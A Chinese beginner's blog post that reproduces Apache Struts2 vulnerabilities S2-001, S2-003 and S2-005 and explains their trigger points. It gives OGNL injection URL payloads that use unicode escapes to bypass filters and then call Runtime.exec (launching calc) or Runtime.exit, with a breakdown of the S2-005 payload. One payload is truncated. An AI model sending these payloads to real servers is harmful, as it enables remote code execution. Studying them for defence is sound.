文章目录
  1. S2-001:struts2.0.9之前
  2. S2-003: struts2.0.12之前
  3. S2-005:struts2.2.1之前

struts2系列——S2漏洞

这个系列的漏洞分析已经有很多前辈做了详细的解释了,本文做个初学者的S2漏洞复现跟踪。

S2-001:struts2.0.9之前

漏洞触发点在action和interceptor调用结束后,result之前,preresult时对表单做递归处理处。比如%{name}会调用name的value,导致执行%{payload},调试参考: https://03i0.com/2018/04/08/S2-001%E8%B0%83%E8%AF%95%E5%88%86%E6%9E%90/

S2-003: struts2.0.12之前

漏洞触发点在parameterInterceptor,对传入数据进行处理时,将得到的数据传入OGNL表达式造成的命令执行。

两种Payload(不止两种):

第一种:

?’\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003dfalse’(bla)(bla)&’\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\’calc\’)’(bla)(bla)

第二种:

?(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exec(“calc”)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime

问题发生在XWork的parameterInterceptor中对url信息数据收集过程中。因此不只有Struts2受到波及。

URL传参时虽然做了#的防御,但是可以通过unicode编码绕过。unicode编码可以被还原为原始字符是在java层面生效的,并非struts2的转换。

S2-005:struts2.2.1之前

对S2-003防御的绕过。

在这个版本的Struts2中,有两个防止方法执行的属性,allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution防止用户执行静态方法。两个的区别是,前者是是一个context的属性,后者是valuehashmap中的一项。黑客可以通过修改这两个属性绕过从而执行s2-003的payload

参考: http://wcf1987.iteye.com/blog/1420307

payload:

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

其中分为三个部分:

(1)?('#_memberAccess['allowStaticMethodAccess']')(meh)=true

(2)&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))

(3)&(asdf)(('#rt.exit(1)')([#rt=@java.lang.Runtime@getRuntime()))=1](mailto:%23rt=@java.lang.Runtime@getRuntime()))=1)

对于奇怪的括号的解释:

(1)(expression)(constant)=value会执行expression=value。

(2)(constant)((expression1)(expression2))会先执行expression2,然后再执行expression1。

(3)expression= value(constant)(constant) 会执行expression=value

来自 <https://blog.csdn.net/u011721501/article/details/41626959>

支持一下
扫一扫,支持forsigner